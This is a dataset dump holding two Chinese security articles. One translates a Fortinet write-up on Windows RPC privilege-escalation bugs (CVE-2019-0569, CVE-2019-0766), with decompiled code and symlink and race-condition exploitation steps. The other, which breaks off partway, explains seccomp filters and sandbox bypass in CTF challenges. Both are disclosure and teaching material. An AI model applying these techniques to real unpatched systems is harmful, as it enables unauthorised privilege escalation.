text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 如何挖掘RPC漏洞（Part 2）
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/rpc-bug-hunting-case-studies---part-2.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在之前的一篇[文章](https://www.fortinet.com/blog/threat-research/the-case-studies-of-microsoft-windows-remote-procedure-call-serv.html)中（[译文](https://www.anquanke.com/post/id/167427)），FortiGuard实验室与大家分享了如何使用RPCView来寻找RPC服务器中的逻辑漏洞，最终我们在Microsoft
Universal Telemetry服务中发现了一个潜在问题。
大家可能还记得，在上篇文章中我们讨论了如何通过RPCView寻找输入参数为字符串的RPC
API。然而，使用RPCView时有一些限制条件，比如RPCView不会显示Windows没有在默认情况下自动启动的RPC服务（如Data Sharing
Service）。之前我们无法识别这个服务，现在我们可以使用另一种方法来识别该服务（下文会介绍）。经过分析后我们发现，这个服务同样存在一些权限提升问题，而使用我们增强版的方法可以发现这些问题。
Google安全研究员James
Forshaw最终反馈了4个安全漏洞，MSRC已于去年12月份修复这些漏洞。此外，虽然RPCView非常有用，但使用起来也比较耗时，我们需要逐项审核接收字符串参数的所有API。因此，我们希望能找到节省时间的其他办法。
我们首先分析了之前发现的一些bug，这些bug非常相似，都有一个共同点：这些服务都会调用`SetNamedSecurityInfo`这个Windows
API，该API允许应用程序通过对象名称，在指定对象的安全描述符中设置指定的安全信息。例如，如果操作目标为文件对象，那么应用程序就可以指定文件名。
这里我们想强调一点，这个Windows
API并没有存在任何安全问题，然而当我们使用自己开发的静态分析工具来搜索RPC服务时，可以将该API当成过滤器来使用。了解到这一点后，我们创建了一个简单工具，可以静态解析所有的RPC服务程序，寻找感兴趣的Windows
API，进一步缩小需要深入研究的RPC服务范围。
经过分析后，我们发现了一些比较有趣的RPC服务。比如Storage
Service（也称为StorSvc），该服务中存在之前尚未发现的多个权限提升问题；还有AppX Deployment
Server，该服务可能存在竞争条件问题，最终导致权限提升。FortiGuard实验室随后向微软安全响应中心（MSRC）反馈了这些漏洞，微软及时修复了这些漏洞，对应的编号为[CVE-2019-0569](https://fortiguard.com/zeroday/FG-VD-18-145)以及[CVE-2019-0766](https://fortiguard.com/zeroday/FG-VD-18-151)。
接下来我们将与大家分享我们发现这些漏洞的具体过程。
[+] Target: appidsvc.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: appidsvc.dll
[+] Target: AppVEntSubsystemController.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: AppVEntSubsystemController.dll
[+] Target: AppXDeploymentServer.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: AppXDeploymentServer.dll
[*] Potential DLL with arbitrary deletion: AppXDeploymentServer.dll
[*] Potential executable with arbitrary file modification with move: AppXDeploymentServer.dll
[*] Potential DLL with arbitrary DACL modification: AppXDeploymentServer.dll
[+] Target: bdesvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: bdesvc.dll
[+] Target: bisrv.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: bisrv.dll
[+] Target: combase.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: combase.dll
[*] Potential executable arbitrary deletion: combase.dll
[+] Target: cryptcatsvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: cryptcatsvc.dll
[*] Potential executable with arbitrary file modification with move: cryptcatsvc.dll
[+] Target: cryptsvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: cryptsvc.dll
[+] Target: dhcpcore.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: dhcpcore.dll
[+] Target: dhcpcore6.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: dhcpcore6.dll
[+] Target: DiagSvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: DiagSvc.dll
[+] Target: diagtrack.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: diagtrack.dll
[*] Potential executable arbitrary deletion: diagtrack.dll
[*] Potential executable with arbitrary file modification with move: diagtrack.dll
[*] Potential DLL with arbitrary DACL modification: diagtrack.dll
[+] Target: DmApiSetExtImplDesktop.dll
[*] Is RPC server file
[+] Target: dot3svc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: dot3svc.dll
[+] Target: dpapisrv.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: dpapisrv.dll
[+] Target: dssvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: dssvc.dll
[*] Potential DLL with arbitrary deletion: dssvc.dll
[*] Potential executable with arbitrary file modification with move: dssvc.dll
[*] Potential DLL with arbitrary DACL modification: dssvc.dll
[+] Target: dusmsvc.dll
[*] Is RPC server file
[+] Target: edgehtml.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: edgehtml.dll
[*] Potential DLL with arbitrary deletion: edgehtml.dll
[*] Potential executable with arbitrary file modification with move: edgehtml.dll
[*] Potential DLL with arbitrary DACL modification: edgehtml.dll
[+] Target: eeprov.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: eeprov.dll
[+] Target: efslsaext.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: efslsaext.dll
[*] Potential executable arbitrary deletion: efslsaext.dll
[+] Target: FXSAPI.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: FXSAPI.dll
[+] Target: FXSSVC.exe
[*] Is RPC server file
[*] Potential executable arbitrary deletion: FXSSVC.exe
[*] Potential DLL with arbitrary deletion: FXSSVC.exe
[*] Potential executable with arbitrary file modification with move: FXSSVC.exe
[+] Target: iphlpsvc.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: iphlpsvc.dll
[+] Target: LogonController.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: LogonController.dll
[+] Target: lsasrv.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: lsasrv.dll
[*] Potential executable with arbitrary file modification with move: lsasrv.dll
[+] Target: mispace.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: mispace.dll
[*] Potential executable arbitrary deletion: mispace.dll
[+] Target: modernexecserver.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: modernexecserver.dll
[+] Target: msdtcprx.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: msdtcprx.dll
[*] Potential executable with arbitrary file modification with move: msdtcprx.dll
[*] Potential DLL with arbitrary DACL modification: msdtcprx.dll
[*] Potential executable with arbitrary file modification with move: msdtcprx.dll
[+] Target: netlogon.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: netlogon.dll
[*] Potential executable with arbitrary file modification with move: netlogon.dll
[+] Target: p2psvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: p2psvc.dll
[+] Target: PackageStateRoaming.dll
[*] Is RPC server file
[+] Target: pcasvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: pcasvc.dll
[*] Potential executable with arbitrary file modification with move: pcasvc.dll
[+] Target: PeerDistSvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: PeerDistSvc.dll
[*] Potential DLL with arbitrary deletion: PeerDistSvc.dll
[*] Potential executable with arbitrary file modification with move: PeerDistSvc.dll
[+] Target: PhoneProviders.dll
[*] Is RPC server file
[+] Target: pla.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: pla.dll
[*] Potential executable arbitrary deletion: pla.dll
[*] Potential DLL with arbitrary deletion: pla.dll
[+] Target: pnrpsvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: pnrpsvc.dll
[+] Target: profsvc.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: profsvc.dll
[*] Potential executable arbitrary deletion: profsvc.dll
[*] Potential DLL with arbitrary DACL modification: profsvc.dll
[+] Target: rasmans.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: rasmans.dll
[*] Potential executable with arbitrary file modification with move: rasmans.dll
[*] Potential DLL with arbitrary DACL modification: rasmans.dll
[+] Target: rdpclip.exe
[*] Is RPC server file
[*] Potential executable arbitrary deletion: rdpclip.exe
[+] Target: scesrv.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: scesrv.dll
[*] Potential DLL with arbitrary DACL modification: scesrv.dll
[+] Target: schedsvc.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: schedsvc.dll
[*] Potential executable arbitrary deletion: schedsvc.dll
[*] Potential DLL with arbitrary DACL modification: schedsvc.dll
[+] Target: SessEnv.dll
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: SessEnv.dll
[*] Potential executable arbitrary deletion: SessEnv.dll
[*] Potential DLL with arbitrary deletion: SessEnv.dll
[+] Target: Spectrum.exe
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: Spectrum.exe
[+] Target: spoolsv.exe
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: spoolsv.exe
[*] Potential executable arbitrary deletion: spoolsv.exe
[+] Target: sstpsvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: sstpsvc.dll
[+] Target: StorSvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: StorSvc.dll
[*] Potential DLL with arbitrary deletion: StorSvc.dll
[*] Potential DLL with arbitrary DACL modification: StorSvc.dll
[+] Target: sysmain.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: sysmain.dll
[*] Potential executable with arbitrary file modification with move: sysmain.dll
[*] Potential DLL with arbitrary DACL modification: sysmain.dll
[+] Target: SystemEventsBrokerServer.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: SystemEventsBrokerServer.dll
[*] Potential executable with arbitrary file modification with move:
[+] Target: tapisrv.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: tapisrv.dll
[+] Target: taskcomp.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: taskcomp.dll
[*] Potential DLL with arbitrary DACL modification: taskcomp.dll
[+] Target: tellib.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: tellib.dll
[*] Potential executable arbitrary deletion: tellib.dll
[*] Potential executable with arbitrary file modification with move: tellib.dll
[*] Potential DLL with arbitrary DACL modification: tellib.dll
[+] Target: termsrv.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: termsrv.dll
[+] Target: trkwks.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: trkwks.dll
[*] Potential executable with arbitrary file modification with move: trkwks.dll
[+] Target: tttracer.exe
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: tttracer.exe
[*] Potential DLL with arbitrary DACL modification: tttracer.exe
[+] Target: uireng.dll
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: uireng.dll
[*] Potential DLL with arbitrary deletion: uireng.dll
[*] Potential executable arbitrary deletion: uireng.dll
[+] Target: usermgr.dll
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: usermgr.dll
[*] Potential DLL with arbitrary DACL modification: usermgr.dll
[+] Target: vaultsvc.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: vaultsvc.dll
[*] Potential executable arbitrary deletion: vaultsvc.dll
[*] Potential executable with arbitrary file modification with move: vaultsvc.dll
[+] Target: vmrdvcore.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: vmrdvcore.dll
[*] Potential executable arbitrary deletion: vmrdvcore.dll
[*] Potential executable with arbitrary file modification with move: vmrdvcore.dll
[+] Target: w32time.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary DACL modification: w32time.dll
[+] Target: wevtsvc.dll
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: wevtsvc.dll
[*] Potential executable arbitrary deletion: wevtsvc.dll
[*] Potential DLL with arbitrary DACL modification: wevtsvc.dll
[+] Target: wiaservc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wiaservc.dll
[+] Target: wifinetworkmanager.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wifinetworkmanager.dll
[*] Potential DLL with arbitrary deletion: wifinetworkmanager.dll
[+] Target: wimserv.exe
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wimserv.exe
[*] Potential DLL with arbitrary deletion: wimserv.exe
[+] Target: Windows.Internal.Bluetooth.dll
[*] Is RPC server file
[+] Target: wininit.exe
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wininit.exe
[*] Potential executable with arbitrary file modification with move: wininit.exe
[+] Target: winlogon.exe
[*] Is RPC server file
[*] Potential executable with arbitrary file modification with move: winlogon.exe
[+] Target: wlansvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wlansvc.dll
[*] Potential executable with arbitrary file modification with move: wlansvc.dll
[+] Target: wwansvc.dll
[*] Is RPC server file
[*] Potential executable arbitrary deletion: wwansvc.dll
[*] Potential executable with arbitrary file modification with move: wwansvc.dll
[+] Target: XblGameSave.dll
[*] Is RPC server file
[*] Potential DLL with arbitrary deletion: XblGameSave.dll
[*] Potential executable arbitrary deletion: XblGameSave.dll
[*] Potential executable with arbitrary file modification with move: XblGameSave.dll
清单1. 静态解析器过滤出的RPC可执行文件
## 二、Microsoft Windows Storage Service任意文件覆盖漏洞：CVE-2019-0569
分析解析器的输出结果时（参考清单1），我们发现`StorSvc.dll`包含我们需要的导入API。逆向分析DLL组件后，我们找到了一个接口：`BE7F785E-0E3A-4AB7-91DE-7E46E443BE29`。逆向分析该接口对外公开的RPC
API时，我们发现`SvcSetStorageSettings`较为有趣。这个API会创建目录名能够预测的一些Windows目录。当我们将正确的参数传递给该API时，外部驱动器卷的根目录中将创建如下文件夹：
Documents
Videos
Pictures
Downloads
Music
大家可能已经注意到，这些目录名与用户根目录（即`%USERPROFILE%`）下的默认目录名相同。然而问题是，只有当外部硬盘驱动器卷存在时，这个RPC
API才会创建这些目录。当RPC API被触发时，我们可以看到与下图类似的Process Monitor输出结果：
图1. `SvcSetStorageSettings`创建文件名已知的多个目录
根据Process Monitor的输出结果，因为这个RPC API会创建能够预测的一些目录，因此容易受到符号链接攻击影响。根据Process
Monitor的调用栈信息，我们可以精确定位特定`CreateFile`事件中涉及到的相关函数。当分析这些函数时，我们很快就发现`StorageService::CreateStorageCardDirectory`中存在问题，该函数在创建认证用户所能访问的文件和目录时缺少模拟（impersonation）机制，允许攻击者通过符号链接（symlink）修改任意文件对象的ACL。
我们来分析如下代码片段：
StorageService::CreateStorageCardDirectory()
{
dwFileAttributes = GetFileAttributesW(&FileName);
if ( dwFileAttributes != -1 && !(dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ) // -- (1)
{
DeleteFileW(&FileName);
dwFileAttributes = -1;
}
if (CreateDirectoryW(&FileName, lpSecurityAttributes) ) // -- (2)
{
if (dwFileAttributes != -1 && (ExistingFileAttributes | 0x10) != (dwFileAttributes & 0xFFFFFFDF) )
SetFileAttributesW(&FileName, ExistingFileAttributes | 0x10)
}
else if (GetLastError() == ERROR_ALREADY_EXISTS)
{
result = SetNamedSecurityInfoW(&FileName, SE_FILE_OBJECT, SECURITY_DACL_INFORMATION, 0, 0, NewAcl, 0); // -- (3)
boolSetNameddSecInfo = result < 0;
if ( result > 0 )
{
result = (unsigned __int16)result | 0x80070000;
boolSetNameddSecInfo = result < 0;
}
if (!boolSetNameddSecInfo)
{
dwFileAttributes = GetFileAttributesW(&FileName);
SetFileAttributesW(&FileName, ExistingFileAttributes | 0x10)
}
}
}
清单2. `StorageService::CreateStorageCardDirectory`中缺乏模拟机制
如果攻击者成功创建了一个符号链接，将`FileName`重定向到攻击者所需的文件对象，那么就可以在上述代码标签(3)处使用`NewAcl`来修改被重定向文件对象的ACL（`NewAcl`为当前登录用户的ACL）。
在发起符号链接攻击之前，我们需要满足代码中标签（2）和标签（3）的检查条件。简而言之，如果出现文件名冲突，那么这几行代码就会删除文件，尝试创建名称相同的目录。需要注意的是，在创建目录之前，代码首先会执行`DeleteFileW`，删除指向目标文件的符号链接。那么我们如何避免符号链接被删除呢？
事实证明，如果调用方进程以独占方式打开了`FileName`对应的文件句柄，那么就可以轻松绕过这个限制。这样操作后，即使`DeleteFileW`调用失败、返回拒绝访问错误，整个代码也会继续执行，因为代码并没有检查API调用返回时是否存在错误。
设置指向目标文件的符号链接并创建该文件的独占句柄后，我们可以触发`SvcSetStorageSettings`修改任意文件对象的ACL。如下图所示，我们使用`SvcSetStorageSettings`中的漏洞来修改Windows目录中文件的ACL，而正常情况下非特权用户无法修改该文件的ACL。
图2. 利用`SvcSetStorageSettings` RPC API漏洞
## 三、Microsoft AppX Deployment Server任意文件创建漏洞：CVE-2019-0766
继续研究解析器的输出结果，我们找到了存在同样符号攻击漏洞的另一个服务：Windows AppX Deployment
Service，该服务同样缺乏模拟机制。
在安装从Microsoft Store上下载的AppX软件包时，我们发现AppX Deployment
Service会将AppX可执行文件及对应的资源存放到如下可预测的文件路径中：
E:\WpSystem\<current_logged_in_user_sid>\AppData\Local\Packages\Microsoft.AppX.Package.Name
因此，如果该服务会修改释放出的文件的ACL，那么我们就可以采用相同的符号攻击操作（请注意，这里`E:`驱动器为我们测试系统上的外部驱动器）。大家可能会注意到这与前面的场景有些类似，但我们首先需要确定这个文件路径的可访问性。
我们可以使用`icacls`命令来确定文件和目录的可访问性，结果表明当前登录用户具备该目录的完整访问权限：
C:\>icacls E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local\Packages\Microsoft.MicrosoftMahjong_8wekyb3d8bbwe
E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local\Packages\Microsoft.MicrosoftMahjong_8wekyb3d8bbwe
NT AUTHORITY\SYSTEM:(CR)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(CR)(F)
DESKTOP-A7ABC1O\researcher:(CR)(F)
DESKTOP-A7ABC1O\researcher:(OI)(CI)(IO)(CR)(F)
BUILTIN\Administrators:(CR)(F)
BUILTIN\Administrators:(OI)(CI)(IO)(CR)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
DESKTOP-A7ABC1O\researcher:(I)(OI)(CI)(F)
C:\>icacls E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local\Packages
E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local\Packages
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
DESKTOP-A7ABC1O\researcher:(I)(OI)(CI)(F)
C:\>icacls E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local
E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData\Local
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
DESKTOP-A7ABC1O\researcher:(I)(OI)(CI)(F)
C:\>icacls E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData
E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001\AppData
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
DESKTOP-A7ABC1O\researcher:(I)(OI)(CI)(F)
C:\>icacls E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001
E:\WpSystem\S-1-5-21-2264505789-2271452246-4192020221-1001
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
DESKTOP-A7ABC1O\researcher:(OI)(CI)(F)
显然，普通用户账户可以修改高权限服务所共享的资源。我们有多种方法来验证该问题的确存在：如前文所示，我们可以使用Process
Monitor来捕捉在AppX软件包安装过程中生成的事件，然后查找`SetSecurityFile`事件来确定具体的代码路径。这里我们换种思路，采用静态分析方法来分析`AppXDeploymentServer.dll`，这个DLL组件中包含该服务处理逻辑的具体实现。
最终我们找到了如下代码片段，这些代码与目录创建操作有关。
// After created its parent directories, try to create E:\WpSystem\<SID>\AppData\Local\Packages\<AppX.PackageName>
if ( CreateDirectoryW(*(LPCWSTR *)(this - 28), 0) ) // -- (1)
v16 = 0;
else
v16 = getlasterror();
v15 = *(void **)(this + 4);
if ( v16 < 0 )
{
v17 = 0x4C8;
goto exit;
}
}
v15 = *(void **)(this + 4);
if ( v16 >= 0 )
{
if ( v13 == 1
|| sub_102335C9(v15)
// Set security descriptor on e:\WPSystem and its sub-directories to allow Administrator and System user access only
|| (v19 = wpsystem_setnamedsecurityinfo((int)v12, *(WCHAR **)(this - 16)),
v15 = *(void **)(this + 4),
v16 = v19,
v19 >= 0) )
{
// Encrypt and compress the files in Appx.Package
v20 = EncryptFile((int)v12, *(WCHAR **)(this - 16)); // -- (2)
v15 = *(void **)(this + 4);
v16 = v20;
if ( v20 >= 0 )
{
// Reset security descriptor on \\?\E:\WpSystem\<SID>\AppData\Local\Packages\<AppX.PackageName> to allow full access
// however, neither no verification is done on the assigned object name therefore it can be replaced with file object instead of directory object and impersonation here
v21 = SetNamedSecurityInfoW(*(LPWSTR *)(this - 28), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, *(PACL *)(this - 20), 0); // -- (3)
清单3. `AppXDeploymentServer.dll`中缺乏用户模拟机制
如上代码所示，标签（1）处会创建AppX软件包目录，标签（3）处会通过`SetNamedSecurityInfoW`设置安全描述符，这两处可能存在竞争条件，如果竞争成功，攻击者就可以修改任意文件对象的ACL。
为了验证这一点，我们的目标是重定向AppX目录名（`SetNamedSecurityInfoW`的第一个参数，参考标签（3）处），利用符号链接将其重定向至我们选择的任意文件对象。
在执行该操作之前，我们需要将默认保存位置设置为外部驱动器，这一点非常重要。在Windows
10中，我们可以通过“控制面板”的“默认保存位置”来设置该选项，但我们希望通过程序来完成该操作。在前面一个例子中，我们可以使用`SvcSetStorageSettings`
RPC API来直接修改默认保存位置，但在程序中定义RPC接口是非常繁琐的操作，因此我们想要更加简单的实现方法。
事实上，大多数RPC API都是封装在一个DLL组件中，通过DLL导出函数对外提供服务。由于微软并没有公开文档描述已封装的RPC
API导出函数，并且这些API大多数由Windows系统组件来实现，因此为了寻找这个DLL，我们需要在`%WINDIR\SYSTEM32`目录中搜索对应的RPC
UUID。当我们使用对应的UUID（`BE7F785E-0E3A-4AB7-91DE-7E46E443BE29`）搜索`SvcSetStorageSettings`接口时，我们找到了`StorageUsage.dll`，从中找到了一个未公开的API：`SetStorageSettings`。因此，现在我们可以使用`LoadLibrary()`和`GetProcAddress()`来动态调用这个API。
最终，我们构造并运行PoC，使用Process Monitor来分析竞争条件，如下图所示：
图3. 无限循环线程PoC
a）PoC正在执行无限循环线程操作，尝试删除清单3标签（1）处代码所创建的AppX文件夹
b）AppX Deployment Service成功创建AppX文件夹
c）随后，我们的PoC线程成功删除该文件夹
图4. PoC修改ACL
d）此时，AppX Deployment
Server尝试调用`wpsystem_setnamedsecurityinfo`修改目录及子目录的安全描述符。然而，由于a）处准备删除该文件，因此该操作无法执行成功。
e）此时执行清单3标签（2）处代码。
图5. 成功利用竞争条件
成功利用竞争条件后，在清单3标签（3）处代码执行前，我们的PoC就可以创建指向任意文件（这里为`C:\Windows\system32\license.rtf`）的符号链接。
g）最终，目标文件的安全描述符会被特权服务成功修改。
图6. 成功利用竞争条件覆盖任意文件对象
## 四、总结
在本文中，我们与大家分享了如何进一步缩小待分析的RPC服务范围，寻找是否存在本地提权问题。到目前为止这种方法非常有效，已经帮助我们在多个组件中发现了类似漏洞。
FortiGuard实验室已经发布相应的IPS特征（`MS.RPC.AppXSvc.Privilege.Escalation`以及`MS.RPC.AppXSvc.Privilege.Escalation`），能够检测到这类问题，可以帮助我们的客户免受此类问题影响。 | 社区文章 |
# PWN题中常见的seccomp绕过方法
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
工欲善其事，必先利其器
先了解些前置知识
## 前置知识
在wiki上面 seccomp的说明如下，简而言之就是一个保护系统安全的一种机制，可以通过控制syscall，禁止掉一些危险的syscall
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a "secure" state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS.[1][2] In this sense, it does not virtualize the system's resources but isolates the process from them entirely.
一般使用seccomp有两种方法，一种是用prctl，另一种是用seccomp
先说下第一种,他可以通过第一个参数控制一个进程去做什么，他可以做很多东西，其中一个就是 PR_SET_SECCOMP，这个就是控制程序去开启 seccomp
mode，还有一个就是PR_SET_NO_NEW_PRIVS，这个可以让程序无法获得特权
prctl - operations on a process
prctl() is called with a first argument describing what to do (with values defined in <linux/prctl.h>), and further arguments with a significance depending on the first one
关于 PR_SET_NO_NEW_PRIVS 可以这样用,第二个参数为1就可
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
PR_SET_SECCOMP 可以这样
先定义好BPF 比如下面这样定义
struct sock_filter st[]=
{
{0x20 ,0x00, 0x00, 0x00000004},
{0x15 ,0x00, 0x04, 0xc000003e},
{0x20 ,0x00, 0x00, 0x00000000},
{0x35 ,0x02, 0x00, 0x40000000},
{0x15 ,0x01, 0x00, 0x0000003b},
{0x06 ,0x00, 0x00, 0x7fff0000},
{0x06 ,0x00, 0x00, 0x00000000}
};
然后通过再给sock_fprog结构体，然后传给 prctl做参数
struct sock_fprog sfg ={7,st};
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfg);
上面这个 sock_filter 结构体可以通过[seccomp-tools](https://github.com/david942j/seccomp-tools) dump出来，或者 seccomp_export_bpf导出
然后再说说 通过seccomp的函数来 开启 seccomp,先给出一个例子
{ scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
}
seccomp_init \\
scmp_filter_ctx seccomp_init(uint32_t def_action);
initialize the internal seccomp filter state, prepares it for use, and sets the default action based on the def_action parameter
可以看道 seccomp_init 返回的是一个 scmp_filter_ctx 的结构体
而有效的 def_action 有下面几种
SCMP_ACT_KILL
SCMP_ACT_KILL_PROCESS
SCMP_ACT_TRAP
SCMP_ACT_ERRNO
SCMP_ACT_TRACE
SCMP_ACT_LOG
SCMP_ACT_ALLOW
我们关注的应该是 SCMP_ACT_KILL 和 SCMP_ACT_ALLOW，一个是白名单，一个是黑名单
seccomp_rule_add 可以添加规则
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action,
int syscall, unsigned int arg_cnt, ...);
arg_cnt 这个指令是指后面参数的个数，比如
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 3,
SCMP_A0(SCMP_CMP_EQ, fd),
SCMP_A1(SCMP_CMP_EQ, (scmp_datum_t)buf),
SCMP_A2(SCMP_CMP_LE, BUF_SIZE));
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
SCMP_CMP(0, SCMP_CMP_EQ, fd));
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
分别是 3 ，1，0 个。然后后面的参数就是 comparison op,主要有下面几种
SCMP_CMP_NE
Matches when the argument value is not equal to the datum value, example:
SCMP_CMP( arg , SCMP_CMP_NE , datum )
SCMP_CMP_LT
Matches when the argument value is less than the datum value, example:
SCMP_CMP( arg , SCMP_CMP_LT , datum )
SCMP_CMP_LE
Matches when the argument value is less than or equal to the datum value, example:
SCMP_CMP( arg , SCMP_CMP_LE , datum )
SCMP_CMP_EQ
Matches when the argument value is equal to the datum value, example:
SCMP_CMP( arg , SCMP_CMP_EQ , datum )
SCMP_CMP_GE
Matches when the argument value is greater than or equal to the datum value, example:
SCMP_CMP( arg , SCMP_CMP_GE , datum )
SCMP_CMP_GT
Matches when the argument value is greater than the datum value, example:
SCMP_CMP( arg , SCMP_CMP_GT , datum )
SCMP_CMP_MASKED_EQ
Matches when the masked argument value is equal to the masked datum value, example:
SCMP_CMP( arg , SCMP_CMP_MASKED_EQ , mask , datum )
seccomp_load 其实就是应用 filter
下面是安装指令
sudo apt install libseccomp-dev libseccomp2 seccomp
## CTF中常见的seccomp
第一种，也是最常见的,禁用了execve或者system
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
这种可以通过 open read write 来读取flag
可以看 高校战役的 lgd
第二种是禁用了 open，write，read
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
